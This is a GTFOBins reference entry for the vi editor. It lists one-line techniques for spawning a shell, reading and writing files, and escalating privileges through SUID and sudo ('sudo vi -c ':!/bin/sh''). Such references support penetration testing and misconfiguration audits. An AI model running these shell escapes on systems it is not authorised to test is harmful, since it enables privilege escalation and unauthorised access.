GTFOBins.github.io/_gtfobins/vi.md
2018-10-05 18:55:38 +01:00

22 lines
340 B
Markdown

---
functions:
shell:
- code: vi -c ':!/bin/sh'
- code: |
vi
:set shell=/bin/sh
:shell
file-write:
- code: |
vi file_to_write
iDATA
^[
w
file-read:
- code: vi file_to_read
suid:
- code: ./vi -c ':!/bin/sh -p'
sudo:
- code: sudo vi -c ':!/bin/sh'
---